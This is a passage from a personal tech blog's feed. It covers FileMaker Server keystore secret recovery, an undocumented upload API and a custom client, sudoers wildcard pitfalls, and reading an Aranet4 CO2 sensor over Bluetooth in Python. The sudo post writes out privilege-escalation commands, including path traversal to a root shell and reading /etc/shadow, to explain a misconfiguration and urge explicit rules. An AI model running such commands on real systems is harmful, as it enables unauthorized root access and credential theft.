&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="how-about-macos"&gt;How about macOS?&lt;/h2&gt;
&lt;p&gt;So far we&amp;rsquo;ve been working with a default Linux installation. To come to the same conclusion on macOS, you can use &lt;code&gt;lldb&lt;/code&gt; instead of &lt;code&gt;gdb&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To attach lldb to a running process, you will have to disable macOS&amp;rsquo; System Integrity Protection or remove the code signature first, though.&lt;/p&gt;
&lt;p&gt;The discovery process is more or less the same, although the syntax for &lt;code&gt;lldb&lt;/code&gt; is a bit different.&lt;/p&gt;
&lt;p&gt;After looking into it, I can tell you that the encryption/decryption process is the same, as is expected.&lt;/p&gt;
&lt;p&gt;Naturally, on macOS the username and user id that go into the key derivation could be different. For a default installation the full name of the user is &amp;ldquo;fmserver User&amp;rdquo;. For the derivation this string is concatenated to the actual username &amp;ldquo;fmserver&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;You can find out the full user info with the following command (change &lt;code&gt;fmserver&lt;/code&gt; for the username you run FMS under):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;dscacheutil -q user | grep &amp;#39;name: fmserver&amp;#39; -A6
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="how-about-windows"&gt;How about Windows?&lt;/h2&gt;
&lt;p&gt;I only had a brief look at Windows. It seems that the encryption/decryption process works a bit different here.&lt;/p&gt;
&lt;p&gt;I haven&amp;rsquo;t spent much time looking into this and wanted to write up my findings first. Maybe I&amp;rsquo;ll look into it in the future.&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I hope this post was helpful to you learning how FileMaker Server handles the secrets you decide to store on the machine.&lt;/p&gt;
&lt;p&gt;As we saw it&amp;rsquo;s not unfeasable to recover the plaintexts. While this is expected and &amp;ldquo;by design&amp;rdquo; as the server needs to do the same, you can now judge how easy or hard it is.&lt;/p&gt;
&lt;p&gt;I reported some things that could be improved or might be a bug to Claris and hope the keystore will be improved as a result.&lt;/p&gt;
&lt;p&gt;The decision for or against storing the EAR passwords really depends on your use-case. If uptime is very important and you need your databases to auto-open after a reboot, there&amp;rsquo;s no way around to storing them on disk (and I don&amp;rsquo;t think that&amp;rsquo;s an unreasonable decision – I have setups where I do the same).&lt;/p&gt;
&lt;p&gt;You may also look into restricting access to the &lt;code&gt;keystore&lt;/code&gt; file, i.e. remove permissions for &lt;code&gt;other&lt;/code&gt; (it seems the only user/group accessing it should be, by default, &lt;code&gt;fmserver&lt;/code&gt; and &lt;code&gt;fmsadmin&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Generally, with enough time and patience you will (at least theoretically) always get to some of the data if you have root access to the live server and the databases are opened. Having the original EAR password stored and the keystore file readable by everyone just makes it much easier.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Updates:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2023-05-31: Corrected the macOS section to include that you can remove the code signature instead of disabling SIP. Thanks, Alex.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Uploading files to FileMaker Server without a Pro client</title><link>https://davidhamann.de/2023/03/16/upload-filemaker-files-without-pro-client/</link><pubDate>Thu, 16 Mar 2023 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2023/03/16/upload-filemaker-files-without-pro-client/</guid><description>&lt;p&gt;Back in the dark ages the FileMaker Server admin console (then Java Web Start) allowed you to remotely upload new fmp12 files to the server. For some reason this feature did not survive the admin console rewrite a decade (?) ago. Rather, the upload feature was integrated into the Pro client. Later, as the Admin REST API was released, the upload feature was still missing.&lt;/p&gt;
&lt;p&gt;The only two options to upload fmp12 files to the server are thus:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;use the Pro client to upload&lt;/li&gt;
&lt;li&gt;upload by copying files directly onto the server (manually or scripted)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A couple of days ago I wondered if there&amp;rsquo;s any technical reason the Admin HTTP API doesn&amp;rsquo;t support this feature or if the Pro client does something special. So I decided to have a quick look at it – and it turns out, FileMaker Pro is actually just using an internal HTTP API.&lt;/p&gt;
&lt;h2 id="looking-at-the-wire"&gt;Looking at the wire&lt;/h2&gt;
&lt;p&gt;I started the FileMaker Pro client, selected the Upload feature and listened to the network traffic.&lt;/p&gt;
&lt;p&gt;By default, all you see is TLS traffic which isn&amp;rsquo;t so helpful. Since the traffic was going to port 443 rather than FileMaker Server&amp;rsquo;s default 5003 I assumed this was just encrypted HTTP traffic.&lt;/p&gt;
&lt;p&gt;I had my test FileMaker Server installed on Linux, so I checked the SSL settings in the nginx config at &lt;code&gt;/opt/FileMaker/FileMaker Server/NginxServer/conf/fms_nginx.conf&lt;/code&gt; as nginx receives all the traffic on port 443.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 nginx actually gives the traffic to the fmserverd process which has a listener on the loopback interface on port 1895.
&lt;/div&gt;

&lt;p&gt;In the config I relaxed the security settings a bit so that I can easily decrypt the traffic on the fly. This meant:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Disable the TLSv1.2 and TLSv1.3 protocol&lt;/li&gt;
&lt;li&gt;Change the cipher to &lt;code&gt;AES128-SHA&lt;/code&gt; (to not have to worry about forward secrecy)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers AES128-SHA;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then I imported my private key that I generated for my test server into Wireshark (&lt;code&gt;Preferences -&amp;gt; RSA Keys&lt;/code&gt;), restarted the web server (&lt;code&gt;fmsadmin restart httpserver&lt;/code&gt;) and listened again to the traffic.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 There are other ways of doing this, but at the time this seemed like a quick way to get to the result.
&lt;/div&gt;

&lt;h2 id="analysing-the-traffic-flow"&gt;Analysing the traffic flow&lt;/h2&gt;
&lt;p&gt;Being able to now follow the HTTP stream in Wireshark made it quite obvious how the communication for the upload worked.&lt;/p&gt;
&lt;p&gt;When opening the Upload dialog in FileMaker Pro, the client asks the server for some basic info:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;GET /fmws/serverInfo HTTP/1.1
Host: the-server
Accept: */*
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The server then replies with a json structure describing the installation (version, settings, license type, etc.). It also sends a public RSA key (more on that later).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;{
	&amp;#34;data&amp;#34; :
	{
		&amp;#34;APIVersion&amp;#34; : 1.0,
		&amp;#34;AcceptEARPassword&amp;#34; : true,
		&amp;#34;AcceptEncrypted&amp;#34; : true,
		&amp;#34;AcceptUnencrypted&amp;#34; : true,
		&amp;#34;AdminLocalAuth&amp;#34; : &amp;#34;on&amp;#34;,
		&amp;#34;AllowChangeUploadDBFolder&amp;#34; : true,
		&amp;#34;AutoOpenForUpload&amp;#34; : false,
		&amp;#34;DenyGuestAndAutoLogin&amp;#34; : &amp;#34;false&amp;#34;,
		&amp;#34;Hostname&amp;#34; : &amp;#34;the-server&amp;#34;,
		&amp;#34;IsAppleInternal&amp;#34; : false,
		&amp;#34;IsETS&amp;#34; : false,
		&amp;#34;PremisesType&amp;#34; : &amp;#34;0&amp;#34;,
		&amp;#34;ProductVersion&amp;#34; : &amp;#34;13&amp;#34;,
		&amp;#34;PublicKey&amp;#34; : &amp;#34;-----BEGIN RSA PUBLIC KEY-----\nMIIBCgKCAQ&amp;lt;snip&amp;gt;\n-----END RSA PUBLIC KEY-----\n&amp;#34;,
		&amp;#34;RequiresDBPasswords&amp;#34; : true,
		&amp;#34;ServerID&amp;#34; : &amp;#34;&amp;lt;id&amp;gt;&amp;#34;,
		&amp;#34;ServerVersion&amp;#34; : &amp;#34;19.6.3 302(12-29-2022)&amp;#34;
	},
	&amp;#34;result&amp;#34; : 0
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once you add your server credentials in Pro (still in the Upload dialog), the client authenticates to the server using your provided username and password in encrypted form (note that this traffic is normally &lt;em&gt;already&lt;/em&gt; encrypted and not readable by a third person).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;GET /fmws HTTP/1.1
Host: the-server
Accept: */*
X-FMS-Command: authentication
X-FMS-Encrypted-Username: &amp;lt;base64 encoded ciphertext&amp;gt;
X-FMS-Encrypted-Password: &amp;lt;base64 encoded ciphertext&amp;gt;
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The server replies with a session token which is subsequently added as a header (&lt;code&gt;X-FMS-Session-Key&lt;/code&gt;) to all requests:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;{
	&amp;#34;data&amp;#34; :
	{
		&amp;#34;sessionKey&amp;#34; : &amp;#34;C1DC02CB2D441388DC7956D9B3863D61&amp;#34;
	},
	&amp;#34;result&amp;#34; : 0
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The client goes on to get the database folder list, files and available free space (all via &lt;code&gt;/fmws&lt;/code&gt; endpoints).&lt;/p&gt;
&lt;p&gt;Once you select your database file in the client and eventually click on &amp;ldquo;Upload&amp;rdquo;, a PUT request is issued to the server (here for the main DB folder):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;PUT /fmws/MainDB/UploadTemp_FMS/C1DC02CB2D441388DC7956D9B3863D61/test.fmp12 HTTP/1.1
Host: the-server
Accept: */*
Content-Type: application/octet-stream
X-FMS-Command: upload
X-FMS-Append-Checksum: false
X-FMS-Session-Key: C1DC02CB2D441388DC7956D9B3863D61
Content-Length: 282624
Expect: 100-continue

&amp;lt;the fmp12 file&amp;#39;s contents&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;There are a couple of more requests to send a start and end event, a request to open the database, a status check and so on, but essentially this is all there is to uploading a database. If your app uses remote containers, these are sent as well to the &lt;code&gt;/fmws/MainDB/UploadTemp_FMS/&lt;/code&gt; endpoint (followed by the container folder structure).&lt;/p&gt;
&lt;h2 id="building-my-own-client"&gt;Building my own client&lt;/h2&gt;
&lt;p&gt;While the above may sound quite involved, it takes a relatively short time to figure out the relevant requests and responses when you control all the components (the client, the network and the server). So I decided to try to build my own &amp;ldquo;quick and dirty&amp;rdquo; client to be able to upload files.&lt;/p&gt;
&lt;p&gt;Once I had the basic structure of the requests, I could easily experiment with different headers and payloads. This was helpful to figure out one important thing: how does the client encrypt the username and password (the credentials that are also used for the admin console/api).&lt;/p&gt;
&lt;p&gt;Since the server needs to be able to decrypt the encrypted credentials, the client needs to use information the server actually has as well. The ciphertexts were changing with every authentication but were nicely aligned in size. So I just tried to encrypt my admin credentials using the public key which the server gives the client as part of the step before the authentication (via the &lt;code&gt;/fmws/serverInfo&lt;/code&gt; endpoint). This worked and I got a valid session token back.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 The public key is stored on the server at &lt;code&gt;/opt/FileMaker/FileMaker Server/CStore/machinePublicKey&lt;/code&gt; and obviously differs from installation to installation.
&lt;/div&gt;

&lt;p&gt;With this information I had everything I needed to replicate the HTTP traffic for uploading a file.&lt;/p&gt;
&lt;p&gt;On GitHub &lt;a href="https://github.com/davidhamann/fms-uploader"&gt;you can find the script&lt;/a&gt; that let&amp;rsquo;s you upload a single file. If all works, the output looks like this. If not, the script likely crashes.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ python3 upload.py
Usage: python3 upload.py &amp;lt;host&amp;gt; &amp;lt;username&amp;gt; &amp;lt;password&amp;gt; &amp;lt;file&amp;gt;

$ python3 upload.py host.example.com admin password test.fmp12
INFO:Getting RSA public key
INFO:Getting session token
INFO:Got session token: 7EF28EA9E1C9AADDEF745E0B576C84B4
INFO:Sending upload start event
INFO:Uploading file
INFO:Upload done
INFO:Sending upload end event
INFO:Sending open database command
INFO:Checking status
INFO:DB open
INFO:Done
&lt;/code&gt;&lt;/pre&gt;&lt;div class="notice notice-danger"&gt;
 &lt;strong&gt;Word of caution&lt;/strong&gt;: As should be clear from the post, my custom client is the result of me figuring out an undocumented API for a couple of hours in the evening. This is &lt;em&gt;obviously&lt;/em&gt; not a stable solution to handle your precious database applications :-) It also only uploads to the MainDB folder, skips the checks the FileMaker Pro client does, and has no support for remote containers (but could all be added). If you want a stable solution, please use the official Pro client or copy files directly onto the server.
&lt;/div&gt;

&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I don&amp;rsquo;t really have a conclusion to this for now, but it&amp;rsquo;s nice (and potentially useful) to know that there&amp;rsquo;s a HTTP API on the server for direct database uploads that does not require you to have access to the whole server system but also does not really require a full-blown Pro client.&lt;/p&gt;
&lt;p&gt;Why is it not part of the admin API or console? It could be a variety of business or technical reasons and speculating about it is probably not a very useful way to spend time :-)&lt;/p&gt;</description></item><item><title>Beware of wilcards paths in sudo commands</title><link>https://davidhamann.de/2023/02/24/beware-of-wildcard-paths-sudo/</link><pubDate>Fri, 24 Feb 2023 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2023/02/24/beware-of-wildcard-paths-sudo/</guid><description>&lt;p&gt;Say you want to allow a non-root user on Linux to execute a couple of scripts as root or another user with more privileges. A common way of doing this is to make an entry in the sudoers file.&lt;/p&gt;
&lt;p&gt;If the scripts are written in Python, it could look something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;johndoe ALL=(ALL) /usr/bin/python3 /opt/utils/*.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Essentially, this means that the user &lt;code&gt;johndoe&lt;/code&gt; can execute &lt;code&gt;/usr/bin/python3 /opt/utils/*.py&lt;/code&gt; on any machine (&lt;code&gt;ALL&lt;/code&gt;) as any user (&lt;code&gt;(ALL)&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;If the scripts in &lt;code&gt;/opt/utils/&lt;/code&gt; are not writable for &lt;code&gt;johndoe&lt;/code&gt; and there is no way for him to create new files in that directory, this looks okay at first.&lt;/p&gt;
&lt;h2 id="what-could-go-wrong"&gt;What could go wrong?&lt;/h2&gt;
&lt;p&gt;The problem, though, is that if &lt;code&gt;johndoe&lt;/code&gt; can write anywhere else (which is always the case), he can easily get a root shell (or do literally anything else) due to the wildcard character in the path argument to &lt;code&gt;python3&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For example via a simple path traversal:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo /usr/bin/python3 /opt/utils/../../home/johndoe/gotcha.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;*&lt;/code&gt; matches any character (including whitespace, as we see further below), so a user is free to modify the path as desired.&lt;/p&gt;
&lt;p&gt;So while the wildcard sounds like an easy way to solve the initial problem, it is always better to be &lt;em&gt;explicit&lt;/em&gt; about what a user can do (either by putting a restricting regular expression in place or – even better – always explicitly targeting a file or declaring a static argument), for example by listing all the full commands with the different arguments that are allowed to be executed or by building a small wrapper program.&lt;/p&gt;
&lt;h2 id="not-a-problem-specific-to-interpreted-scripts"&gt;Not a problem specific to interpreted scripts&lt;/h2&gt;
&lt;p&gt;This is not solely a problem related to executing scripts with an interpreter (like the above example) but applies in general.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://www.sudo.ws/docs/man/sudoers.man/#Wildcards_in_command_arguments"&gt;&lt;code&gt;sudo&lt;/code&gt; documentation&lt;/a&gt; presents another example using &lt;code&gt;cat&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;%operator ALL = /bin/cat /var/log/messages*
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, users in the &lt;code&gt;operator&lt;/code&gt; group are supposed to &lt;code&gt;cat&lt;/code&gt; only messages files. But simply adding a second argument using whitespace (which is covered by &lt;code&gt;*&lt;/code&gt;) would allow them to read any file:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo cat /var/log/messages /etc/shadow
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The suggested safer alternative from the documentation is:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;%operator ALL = /bin/cat ^/var/log/messages[^[:space:]]*$
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This works fine when your path points to a file (which is expected when targeting &lt;code&gt;/var/log/messages&lt;/code&gt;). If &lt;code&gt;messages&lt;/code&gt; were a directory and not a file, you would have the same issue as above, though.&lt;/p&gt;
&lt;p&gt;Conclusion: always be explicit in your &lt;code&gt;sudoers&lt;/code&gt; file about what you want to allow.&lt;/p&gt;</description></item><item><title>Reading Aranet4 sensor data from Python</title><link>https://davidhamann.de/2023/02/05/reading-aranet4-sensor-data-from-python/</link><pubDate>Sun, 05 Feb 2023 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2023/02/05/reading-aranet4-sensor-data-from-python/</guid><description>&lt;p&gt;I got myself an &lt;a href="https://aranet.com/products/aranet4/"&gt;Aranet4&lt;/a&gt; device to monitor CO2 levels in my office.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Aranet4 CO2 monitor" loading="lazy" src="https://davidhamann.de/images/aranet.jpg"&gt;&lt;/p&gt;
&lt;p&gt;The monitor gives pretty accurate readings and has very low energy demands (due to the e-ink display) (here&amp;rsquo;s &lt;a href="https://cdn.bfldr.com/FS48XT6B/at/k9b9wjnv8f455crkp7846j/Aranet4_datasheet_v25_WEB.pdf"&gt;the datasheet&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;While the intended way to read the measurements is to use the &lt;a href="https://apps.apple.com/us/app/aranet4/id1392378465"&gt;mobile app&lt;/a&gt;, it&amp;rsquo;s always good to be able to access the raw data yourself; you get to store as many readings as you like (otherwise limited to past 7 days) and can analyse them in any way &lt;em&gt;you&lt;/em&gt; want.&lt;/p&gt;
&lt;h2 id="get-the-readings-using-python-via-ble"&gt;Get the readings using Python (via BLE)&lt;/h2&gt;
&lt;p&gt;The Aranet4 communicates with the app via Bluetooth Low Energy (BLE). So my plan was to find a BLE library for Python and then figure out how to get the current readings.&lt;/p&gt;
&lt;p&gt;This turned out to be much easier than I thought it would, as there are already a couple of &lt;a href="https://github.com/search?q=aranet4"&gt;clients&lt;/a&gt; out there that identified the data format and &lt;a href="https://en.wikipedia.org/wiki/Bluetooth_Low_Energy"&gt;GATT characteristics&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To get the current readings of the device essentially requires two steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Figure out the device address&lt;/li&gt;
&lt;li&gt;Ask the device for the current data using the GATT characteristic UUID (I found it on &lt;a href="https://gist.github.com/ariccio/2882a435c79da28ba6035a14c5c65f22"&gt;this list&lt;/a&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Using &lt;a href="https://github.com/hbldh/bleak"&gt;bleak&lt;/a&gt; for the BLE communication we can first scan for nearby devices:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;devices&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;BleakScanner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;discover&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;device&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;devices&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The Aranet4 device will show up with the name (wait for it&amp;hellip;) &amp;ldquo;Aranet4&amp;rdquo; and an address.&lt;/p&gt;
&lt;p&gt;Next, we connect to it, ask for the current reading using the characteristic UUID mentioned above (&lt;code&gt;f0cd3001-95da-4f4b-9ac8-aa55d312af0c&lt;/code&gt;) and interpret the returned data to get the individual readings (unsigned char/short to Python int): CO2, temperature, atmospheric pressure, humidity, battery level, status (the three levels shown on the device), measurement interval (default 5 min.), age (seconds since measurements were taken).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;asyncio&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;struct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;bleak&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BleakClient&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CURRENT_READING&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;f0cd3001-95da-4f4b-9ac8-aa55d312af0c&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;BleakClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read_gatt_char&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CURRENT_READING&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;readings&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;HHHBBBHH&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;co2: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;readings&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;ppm&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;temperature: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;readings&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;C&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pressure: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;readings&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;hPa&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;humidity: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;readings&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;%&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;battery: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;readings&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;%&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
